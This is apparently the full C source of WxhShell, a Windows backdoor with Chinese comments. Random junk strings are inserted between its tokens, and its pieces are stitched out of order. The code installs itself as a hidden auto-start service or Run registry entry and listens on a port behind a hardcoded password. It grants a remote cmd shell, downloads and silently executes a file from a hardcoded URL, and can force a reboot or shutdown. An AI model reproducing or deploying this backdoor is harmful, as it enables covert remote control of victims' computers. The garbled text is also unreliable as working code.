D HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _'Jjt9@S if(NULL == hInst ) return 0; L|<j/bP F,)+9/S& g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .fqy[qrM g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !wUznyYwt NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '/XP4B\(E .|u`s,\ if (!NtQueryInformationProcess) return 0; ,[p pETz UAz^P6iQ`~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \VEnP=*:W if(!hProcess) return 0; 9W(&g)` \>*.+?97 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |J`v
w
l
x;87MDs CloseHandle(hProcess); R}w}G6"\ z
&P1C,n) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2o9B >f&g if(hProcess==NULL) return 0; 4Dn&+=fq t
zd#9 # HMODULE hMod; Z5oDj|&l} char procName[255]; _#v"sGmN unsigned long cbNeeded; l]D$QT3 'bLP#TAzf if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j&/+/s9N lijTL-3 CloseHandle(hProcess); _:NQF7X#ug OO?N)IB@ if(strstr(procName,"services")) return 1; // 以服务启动 :4)x ks phO- return 0; // 注册表启动 :qqG%RB } nu+^D$ait ,6MJW#~] // 主模块 Hmm0H6&u int StartWxhshell(LPSTR lpCmdLine) 'MX|=K!C { !%}n9vr!}\ SOCKET wsl; )M"NMUuU" BOOL val=TRUE; e <{d{ int port=0; V,VL?J\ struct sockaddr_in door; ?(R# &qPezyt if(wscfg.ws_autoins) Install(); A0@,^|] FXY>o>K%h port=atoi(lpCmdLine); 8<0P Ssx P 0+@,kM if(port<=0) port=wscfg.ws_port; <]%6x[ T#!% Uzz WSADATA data; U5-8It2OR if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .]KC*2 f^hJA Z if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z]hRc8g}d setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?mC'ZYQI door.sin_family = AF_INET; kmTYRl
)j door.sin_addr.s_addr = inet_addr("127.0.0.1"); i)(G0/: door.sin_port = htons(port); V.$tq urkuG4cY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )lt1I\n*k closesocket(wsl); f{L;, return 1; 2`;XcY4A } 1}c/l<d ~.G$0IJY if(listen(wsl,2) == INVALID_SOCKET) { ^{IZpT3 closesocket(wsl); ;u(*&vRqr^ return 1; T?[;ej: } vOCaru?~h Wxhshell(wsl); mX.mX70|J WSACleanup(); I:oEt Ebj0 {ZL return 0; 1 Vc_jYO@ ECM#J28D } VFF5Tp j+-`P5 // 以NT服务方式启动 2/t; }pw8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y~I>mc] { \hI?XnL# DWORD status = 0; 'xai5X DWORD specificError = 0xfffffff; ,0AS&xs$ [S]q'c) serviceStatus.dwServiceType = SERVICE_WIN32; 44~ReN}` serviceStatus.dwCurrentState = SERVICE_START_PENDING; EI?8/c serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vvY?8/ serviceStatus.dwWin32ExitCode = 0; 5CcX'*P serviceStatus.dwServiceSpecificExitCode = 0; _hl| 3
eW5 serviceStatus.dwCheckPoint = 0;
r90tXx serviceStatus.dwWaitHint = 0; `EMGrw_ \fC;b"j hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bG"FN/vg if (hServiceStatusHandle==0) return; r|ZB3L|7 $$0<
& status = GetLastError(); DC> R if (status!=NO_ERROR) RJ0,7E<B { Yz[Rl
^ serviceStatus.dwCurrentState = SERVICE_STOPPED; QaEiP n~ serviceStatus.dwCheckPoint = 0; A0A|c JP serviceStatus.dwWaitHint = 0; W[`ybGR< serviceStatus.dwWin32ExitCode = status; ,%x2SyA serviceStatus.dwServiceSpecificExitCode = specificError; E$:2AK{* SetServiceStatus(hServiceStatusHandle, &serviceStatus); "WGKwi=W return; la)+"uW } dn])6Xl;i 0Qeda@J serviceStatus.dwCurrentState = SERVICE_RUNNING; S?i^ ~ serviceStatus.dwCheckPoint = 0; tAep_GR serviceStatus.dwWaitHint = 0; T>1#SWQ/9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @V^.eVM\R } $U7/w?gc' sVP\EF8PY // 处理NT服务事件,比如:启动、停止 gzVZPvTPE VOID WINAPI NTServiceHandler(DWORD fdwControl) &Q"vXs6Gt { N
GnE switch(fdwControl) bvZD@F`2 { Zp_j\B case SERVICE_CONTROL_STOP: RaTNA W)v> serviceStatus.dwWin32ExitCode = 0; NW0se
DL serviceStatus.dwCurrentState = SERVICE_STOPPED; DH_~,tK9 serviceStatus.dwCheckPoint = 0; 6.45^'t] serviceStatus.dwWaitHint = 0; \,p?pL<' { 7yg{0a SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~MB)}!S: } 5Y`4%*$ return; rs>,p) case SERVICE_CONTROL_PAUSE: g]44|9x(W serviceStatus.dwCurrentState = SERVICE_PAUSED; !U(S?:hvW break; h V`?,
~K case SERVICE_CONTROL_CONTINUE: hF^JSCDz l serviceStatus.dwCurrentState = SERVICE_RUNNING; >zJk G9a break; yCkWuU9 case SERVICE_CONTROL_INTERROGATE: O(0a l#Fvj break; BOvJEs!UX }; s2N'Ip SetServiceStatus(hServiceStatusHandle, &serviceStatus); q2*)e/}H } ]!P6Z? Qz{Vl>" // 标准应用程序主函数 BSSehe* int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a8[%-eW, { n 78!]O \?e2qu/ C // 获取操作系统版本 3bC-B!{;g OsIsNt=GetOsVer(); d@JavcR GetModuleFileName(NULL,ExeFile,MAX_PATH); gV ':Xe zN+jn // 从命令行安装 t,XbF if(strpbrk(lpCmdLine,"iI")) Install(); zTG1 0 +YCWoX2 // 下载执行文件 [.$%ti*! if(wscfg.ws_downexe) { {#z47Rz if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u|ihUE!h WinExec(wscfg.ws_filenam,SW_HIDE); 32J/ } <daH0l0 ?_ uan if(!OsIsNt) { @c8RlW/A // 如果时win9x,隐藏进程并且设置为注册表启动 AoxORPp' HideProc(); 4TU\SP8sM StartWxhshell(lpCmdLine); ?_S); } {ByKTx& else #|:q"l9 if(StartFromService()) #X!seQ7a // 以服务方式启动 ],R\oMYy|P StartServiceCtrlDispatcher(DispatchTable); -2U|G else )Rk(gd // 普通方式启动 ~k
6V?z} StartWxhshell(lpCmdLine); Ug gg!zA *E|3Vy{4 return 0; O6-';H:I]L } :u@ w; v,rKuvc' /!"sPtIh yQu/({D =========================================== 98zJ?NaD& UNrO$aX!1' ph2
_P[S' KV{ )&)tX. W Kd:O)J " jM{5nRQ 4|eI_u{_ #include <stdio.h> @Y9tkJIt #include <string.h> 5wvh
@Sc\ #include <windows.h> 9Z 6 #include <winsock2.h> (8W?ym #include <winsvc.h> pF~aR]Q #include <urlmon.h> }.=wQ_ R>[G6LOG #pragma comment (lib, "Ws2_32.lib") OCqknA #pragma comment (lib, "urlmon.lib") 5HAAa I /b4>0DXT5 #define MAX_USER 100 // 最大客户端连接数 -"Nvu #define BUF_SOCK 200 // sock buffer X1u\si%.4S #define KEY_BUFF 255 // 输入 buffer &,/-<y-S 1F2(MKOo! #define REBOOT 0 // 重启 gI Gi7x #define SHUTDOWN 1 // 关机 KAr5>^<zw 4>HQ2S{t #define DEF_PORT 5000 // 监听端口 !Xq5r8] AQ"rk9Z #define REG_LEN 16 // 注册表键长度 gd]k3XN$f #define SVC_LEN 80 // NT服务名长度 -gb@BIV# ^v3J
ld // 从dll定义API !.|A}8nK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); te>Op 1R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x+Ly,9nc$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RtaMrG=D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 01%0u8U gHWsKE
% // wxhshell配置信息 m{yq.H[X struct WSCFG { O `>u70 int ws_port; // 监听端口 lj*=bK char ws_passstr[REG_LEN]; // 口令 [RDY(}P% int ws_autoins; // 安装标记, 1=yes 0=no V)oKsO char ws_regname[REG_LEN]; // 注册表键名 weOga\ char ws_svcname[REG_LEN]; // 服务名 R++w>5 5A char ws_svcdisp[SVC_LEN]; // 服务显示名 W>u$x=<T char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fcn@j#[J char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &D7Mv5i0@ int ws_downexe; // 下载执行标记, 1=yes 0=no }?U
#@ h char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j#VR>0oC]\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]e?L,1- ?Bd6<F-G }; 2.a{,d soB_j // default Wxhshell configuration 4)snt3k struct WSCFG wscfg={DEF_PORT, catJC3 "xuhuanlingzhe", ]6WP;.[ 1, |5BvVqn "Wxhshell",
kL -f@CD "Wxhshell", TPi{c_
] "WxhShell Service", j'SGZnsy* "Wrsky Windows CmdShell Service", 4"+v:t)z6{ "Please Input Your Password: ", D<^K7tJui 1, t0ZaI E "http://www.wrsky.com/wxhshell.exe", WsmP]i^Q "Wxhshell.exe" 8/|1FI }; 7 z+Ngt' ! 4_ZH Y?VRd // 消息定义模块 T'14OU2N{Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (6)X Fp& char *msg_ws_prompt="\n\r? for help\n\r#>"; o<Rrr, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XE:bYzH char *msg_ws_ext="\n\rExit."; xZMAX}8 v char *msg_ws_end="\n\rQuit."; )EsFy6K: char *msg_ws_boot="\n\rReboot..."; "!o|^nN, char *msg_ws_poff="\n\rShutdown..."; S"Ag7i char *msg_ws_down="\n\rSave to "; n1y*`5! wqt/0,\ char *msg_ws_err="\n\rErr!"; 1(a+| char *msg_ws_ok="\n\rOK!"; O]9PYv=^ %/K;!'7 char ExeFile[MAX_PATH]; Mbxrj~ue int nUser = 0; }pT>dbZ HANDLE handles[MAX_USER]; @.v{hkM` int OsIsNt; ].N%A07 [ldx_+xa:E SERVICE_STATUS serviceStatus; Ehtb`Ms SERVICE_STATUS_HANDLE hServiceStatusHandle; |OBZSk1jp <d3a // 函数声明 "A}2iI int Install(void); pxQh;w int Uninstall(void); >6z7.d int DownloadFile(char *sURL, SOCKET wsh); ]Mgxv>zRbs int Boot(int flag); `n%8y I% void HideProc(void); v-}D>)M^W int GetOsVer(void); IOH6h= int Wxhshell(SOCKET wsl); S\A9r!2 void TalkWithClient(void *cs); JjBlje int CmdShell(SOCKET sock); =K6{AmG$ int StartFromService(void); ,@@FAL int StartWxhshell(LPSTR lpCmdLine); %uy?@ e fSm|anuKZe VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X0]5I0YP VOID WINAPI NTServiceHandler( DWORD fdwControl ); v,)vW5jGI SMHQh.O?5 // 数据结构和表定义 {mB &xz:b SERVICE_TABLE_ENTRY DispatchTable[] = ;#dzw!+Y { #D8u#8Dz {wscfg.ws_svcname, NTServiceMain}, ' n "n; {NULL, NULL} \.MPjD }; >m`<AynJ !4fT<V( // 自我安装 x^!LA,`j int Install(void) O['5/:- { 'X1/tB8* char svExeFile[MAX_PATH]; qyY]:
(8 HKEY key; Q|W~6 strcpy(svExeFile,ExeFile); /cZ-+cu Wg=4`&F^ // 如果是win9x系统,修改注册表设为自启动 0/b3]{skK if(!OsIsNt) { qfB!)Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G\H |\i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K]Z];C#) RegCloseKey(key);
MVe4[< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [kPF J f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kBJx`tjtp RegCloseKey(key);
)E=~
_`XO return 0; oJor
]QY K } - f%J_` } .Gnzu"lod } )ZDqj else { ~&Y%yN^ JcI~8;Z@Z~ // 如果是NT以上系统,安装为系统服务 43o!Vr/S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6vebGf if (schSCManager!=0) xw~&OF& { e4Jx%v?_P SC_HANDLE schService = CreateService FDIOST ! ( :LX
(9f schSCManager, [|oOP$u wscfg.ws_svcname, JCZ 5q9b wscfg.ws_svcdisp, kk7M$)>d SERVICE_ALL_ACCESS, E'F87P ^> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H mVpxD+ SERVICE_AUTO_START, s7na!A[ SERVICE_ERROR_NORMAL, oD7^9=# svExeFile, _[ufH* NULL, J I[9c,N NULL, sGFC?1r?\ NULL, OA8iTn NULL, 5$"IUq* NULL WRfhxl ); Xe:e./@ if (schService!=0) ./E<v { u75(\<{ CloseServiceHandle(schService); >iFi~)i_4y CloseServiceHandle(schSCManager); GF^?#Jh strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >`D$Jz, strcat(svExeFile,wscfg.ws_svcname); 5TVA1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lsz)\yIPj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jnf@u RegCloseKey(key); 8z'_dfP=5 return 0; ttA0*
>' } J={IGA } l*>,:y CloseServiceHandle(schSCManager); SOo}}a0 } {N 0i
3e
s } Vh5Z'4N 2f7]=snCG return 1; E3,Nc`'m9 } f|-%., \tZZn~ex // 自我卸载 E|hW{ oX3 int Uninstall(void) ""u>5f { gC\^"m HKEY key; h(3ko
An G}p*oz~ if(!OsIsNt) { Q
a8;MxK` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dro2R_j{ RegDeleteValue(key,wscfg.ws_regname); b;Uqyc RegCloseKey(key); {{ /-v3n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1JSKK.LuJV RegDeleteValue(key,wscfg.ws_regname); 8+OcM
;0 RegCloseKey(key); cr<ty"3\ return 0; 4Q
n5Mr@< } o<nkK+=Afm } >.f'_2#Z& } yOXL19d@p_ else { D0a3%LBS/2 k&SI-jxj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^h\Y. if (schSCManager!=0) p}O[A` { kxVR#: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +LeM[XX if (schService!=0) X*Cvh| { R`!'c(V if(DeleteService(schService)!=0) { ^Y-
S"Ks CloseServiceHandle(schService); vK~tgZ& CloseServiceHandle(schSCManager);
iP^o]4[c return 0; "Zq)y_1 } S67>yqha CloseServiceHandle(schService); 3X
A8\Mg } "fX9bh^ CloseServiceHandle(schSCManager); m03]SF(#3 } (n3MbVi3LU } RYem(%jq Z/w "zCd return 1; x;p7n2_ } 47
*, [Uw/;Kyh // 从指定url下载文件 hj|P*yKV int DownloadFile(char *sURL, SOCKET wsh) L>Soj|WUy( { U|}Bk/0. HRESULT hr; JVk"M=c char seps[]= "/"; ?wQaM3 |^: char *token; =`%"-A char *file; [W{WfJ-HwG char myURL[MAX_PATH]; !<I3^q char myFILE[MAX_PATH]; S@PAtB5 "J(W)\ strcpy(myURL,sURL); T.kQ] h2ZG token=strtok(myURL,seps); 6e.?L while(token!=NULL) BmGY#D, { +9d]([Lx file=token; Y] "_} token=strtok(NULL,seps); ZAcH`r* } #Kd^t=k )`B
n"= GetCurrentDirectory(MAX_PATH,myFILE); [>N`)]fP strcat(myFILE, "\\"); "o.g}Pv strcat(myFILE, file); p{BBqKv send(wsh,myFILE,strlen(myFILE),0); R#0Z send(wsh,"...",3,0); b9gezXAcd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j9G1
_ if(hr==S_OK) vsL)E:0 return 0; :`w'}h7m else lyYi2& % return 1; /<WK2G b ?-VZA: } i1E~ F f R?Xq@c // 系统电源模块 N
2\lBi int Boot(int flag) bO2s'!x { ohPCYt HANDLE hToken; ]~H\X":[> TOKEN_PRIVILEGES tkp; D3BT>zTGK d5O_~xf& if(OsIsNt) { IxQ(g#sj_k OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =A< Fcl\Rz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1<ic
5kB tkp.PrivilegeCount = 1; 'ixu+.ZL/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VkChRzhC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1>"[b8a/ if(flag==REBOOT) { j jLwHJ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sWc_,[b return 0; s
v}o% } eAPNF?0yh else { [)E.T,fjMQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CMI V"- return 0; Sb;=YW
1< } +.u)\'r;h } 1ae,s{| else { GV"Hk E; if(flag==REBOOT) { VX<jg #( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #uzp return 0; <*4BT}r,^2 } BD(Y=g else { >.)m|, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l9eCsVQ~V return 0; dvl'Sq< } fd<a%nSD } X>W2aDuEZ --}5%6 return 1; " A}S92 } X5hamkM*m f*ICZM // win9x进程隐藏模块 Z&VH7gi void HideProc(void) x]=s/+Y { 7ZsBYP8% p]-\\o} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7|/Ct;oO: if ( hKernel != NULL ) X*^^W_LH. { ~5Cid)Q}@o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4|#@41\ B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jrKRXS FreeLibrary(hKernel); -xXz}2S4 } :47bf<w|Y ?2zbZ return; Z@G[\"
} TJY
[s- 2`?58& // 获取操作系统版本 3iI 4yg int GetOsVer(void) Q2L>P<87T { EL?6x OSVERSIONINFO winfo; h'tb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &O:IRR7p GetVersionEx(&winfo); Yi5^#G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,L.*95, return 1; @> ]O6P2 else ;;zQV D )X return 0; nbMxQODk } ;
m]KKB ,Y\`n7Ww // 客户端句柄模块 m 3Y@p$i5 int Wxhshell(SOCKET wsl) fQkfU;5 { Lxg,BZV SOCKET wsh; ]"2;x struct sockaddr_in client; XDt MFig DWORD myID; 1[g -f, L^{1dVGWNa while(nUser<MAX_USER) 6Kbc:wlR { *:+&SxL int nSize=sizeof(client); X^td`}F/=V wsh=accept(wsl,(struct sockaddr *)&client,&nSize); djk?;^8 if(wsh==INVALID_SOCKET) return 1; =,])xzG% T{"[Ih3Mbl handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KqD]GS#( if(handles[nUser]==0) (T9Q6\sa closesocket(wsh); hT0[O else \{8?HjJEM nUser++; ]+
KN9 } 1LK` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EDA%qNd]j z[0+9=<Y return 0; <0w"$.K#3 } cR*5iqA @BfJb[A# // 关闭 socket l:i&l?>_ void CloseIt(SOCKET wsh) RnaxRnXVR { J2BCaAwEP, closesocket(wsh); XsXO S8 nUser--; <?>1eU%
ExitThread(0); nc2=S^Fqu } 9*&c2jh X>la!}sV // 客户端请求句柄 UD!-.I] void TalkWithClient(void *cs) t4P`#,:8 { xk:=.Qqh 'e(]woe SOCKET wsh=(SOCKET)cs; T)Zef char pwd[SVC_LEN]; '
a>YcOw char cmd[KEY_BUFF]; )-s9CWJv char chr[1]; 'xP&u<(F int i,j; wwuM!Z+ k Xg&}n7 while (nUser < MAX_USER) { Lhz*o6) sc0.!6^'V if(wscfg.ws_passstr) { zJ
$&`= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \x7^ly$_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h]>QGX[kC //ZeroMemory(pwd,KEY_BUFF); P2!+ZJ& i=0; 28!
ke while(i<SVC_LEN) { "M!]t,?S f'oO/0lx // 设置超时 sOyL fd_set FdRead; ^cnTZzT#Q struct timeval TimeOut; s 0To^I FD_ZERO(&FdRead); _t/~C*=:= FD_SET(wsh,&FdRead); BI| TM2oa TimeOut.tv_sec=8; (B^rW,V[R TimeOut.tv_usec=0; ;H4 s[#K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A/c #2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); chE}TK VrIR!9%: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r6QshCA" pwd=chr[0]; Ht"?ajW{ if(chr[0]==0xd || chr[0]==0xa) { \:m1{+l pwd=0; KPrH1 [VU break; _qO'(DKylC } Tpd|+60g i++; Xmm)z } 4~K%,K+Du LG+2?+tE" // 如果是非法用户,关闭 socket 0 L$[w if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kj>!&W57 } sW,JnR h.*v0cq: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :Dj0W8V send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S?[@/35)
7C9_;81_Dt while(1) { /os,s[w }3}H} ZeroMemory(cmd,KEY_BUFF); aJ"m`5]=% *N&~Uq^ // 自动支持客户端 telnet标准 % aqP{mOO j=0; &"?S0S>r! while(j<KEY_BUFF) { c[>xM3=e^q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H:F'5Zt cmd[j]=chr[0]; %6W%-` if(chr[0]==0xa || chr[0]==0xd) { {[)n<.n[g cmd[j]=0; vB%os Qm break; +,1 Ea ) } cSTF$62E j++; (6* } yu>o7ie+;Y !$hi:3{U, // 下载文件 I<rT\':9 if(strstr(cmd,"http://")) { )~ 0TGy| send(wsh,msg_ws_down,strlen(msg_ws_down),0); jVPX]8 if(DownloadFile(cmd,wsh)) GO)5R, send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Jo4n>/ else ph$vP;} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bO` SBq$ } fKW)h?.Kd else { bd\%K`JQ{ s1]m^, switch(cmd[0]) { G}Ko*:fWS ?C`r3 // 帮助 *XOLuPL>6) case '?': { X;1yQ|su send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ms#rvn!J break; p ,.6sk } aJQzM // 安装 fC".K
Yjp case 'i': { !nsx!M if(Install()) %:v<&^oDlm send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?>Ngsp>-P else 2?{'(iay send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nTl2F1(sV7 break; e%lxRN"b } =4$ErwI_dm // 卸载 %P7qA case 'r': { |\W53,n9 if(Uninstall()) |R2p^!m send(wsh,msg_ws_err,strlen(msg_ws_err),0); pm=m~ else .8->n aj| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J&iSS9c break; #aQQd8 } l8khu)\n4R // 显示 wxhshell 所在路径 la}cGZ; p. case 'p': { /xSFW7d1 char svExeFile[MAX_PATH]; @QMy!y_K~m strcpy(svExeFile,"\n\r"); L~%7=]m strcat(svExeFile,ExeFile); %!r.)Wx|2 send(wsh,svExeFile,strlen(svExeFile),0); pC]XbokES break; Re2&qxE } Qvty;2$o@ // 重启 T 5F) case 'b': { %fnG v\uI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y1ks'=c> if(Boot(REBOOT)) SpImd IpD send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cv@)tb else { n.rn+nuwv closesocket(wsh); nEUUD3a ExitThread(0); ah%Ws#& } <D P8a<{{ break; $
x:N/mMu` }
`8S3Y // 关机 YS#*#!ZMn? case 'd': { )Gm9x]SVl send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BA2J dU if(Boot(SHUTDOWN)) +4
h!;i send(wsh,msg_ws_err,strlen(msg_ws_err),0); i)'tt9f$ else { p="0Y<2l closesocket(wsh); J?dLI_{< ExitThread(0); !Sw=ns7 } OIJT~Z} break; v$D U
q+ } x5CMP%}d // 获取shell ?%[~J case 's': { r
^\(M
{ CmdShell(wsh); "X^<g{] closesocket(wsh); fZj,Q#}D ExitThread(0); S43JaSw) break; O,9^R } J&s$Wqf // 退出 ^vPsp? case 'x': { d]Y;rqjue send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MI'"Xzp{s CloseIt(wsh); 4=o vm[ break; ,zdGY]$ } i!RfUod // 离开 lm
96:S case 'q': { =@0J:"c send(wsh,msg_ws_end,strlen(msg_ws_end),0); YVwpqOE.= closesocket(wsh); Xl<iR]lda WSACleanup(); |iI
dm exit(1); 3C<G8*4);/ break; BM/o7%]n } l=b!O } !\<a2>4$T } <gFa@at vc&v+5Y // 提示信息 pY@QR?F\ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !6 L!%Oi } 1f<R,> } #G.eiqh$a aopZ-^ return; #-\5O } DnFzCJ 4qz+cB_ // shell模块句柄 bD0l^?Hu! int CmdShell(SOCKET sock) rVqQo`K\ { j<P;: STARTUPINFO si; s~].iQJ{B ZeroMemory(&si,sizeof(si)); W2#<]]- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y]0O"X-G si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x};~8lGT>t PROCESS_INFORMATION ProcessInfo; 4"k &9+> char cmdline[]="cmd"; ~f(5l. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /wLGf]0 return 0; 4U\}"Mk } =aZ d>{Y @<{%r // 自身启动模式 B=r DU$z int StartFromService(void) ^hiY6N & { K<wFr-z
typedef struct |~e"i<G# { 4hy-M>!D| DWORD ExitStatus; ;_vhKU)%J# DWORD PebBaseAddress; 9e=}PL DWORD AffinityMask; L?j0t*do DWORD BasePriority; j(Lz& *4 ULONG UniqueProcessId; t\hnnu`Pq ULONG InheritedFromUniqueProcessId; W06#|8,{v } PROCESS_BASIC_INFORMATION; Zs
/>_w} YD'gyP4 PROCNTQSIP NtQueryInformationProcess; XQ]vJQYIR Q $}#& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \0x>#ygX static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; } Xo#/9 ["<Xh0_ HANDLE hProcess; {#qUZ z- PROCESS_BASIC_INFORMATION pbi; zPa2fS8 ~c35Y9-5 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JI[8n$pr] if(NULL == hInst ) return 0; 8&G9 ?n`I5 9L:wfg}8s g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'EiCTl g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L@{'J NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s|e.mZk/ B{`adq?pW if (!NtQueryInformationProcess) return 0; /"8e, (s,& |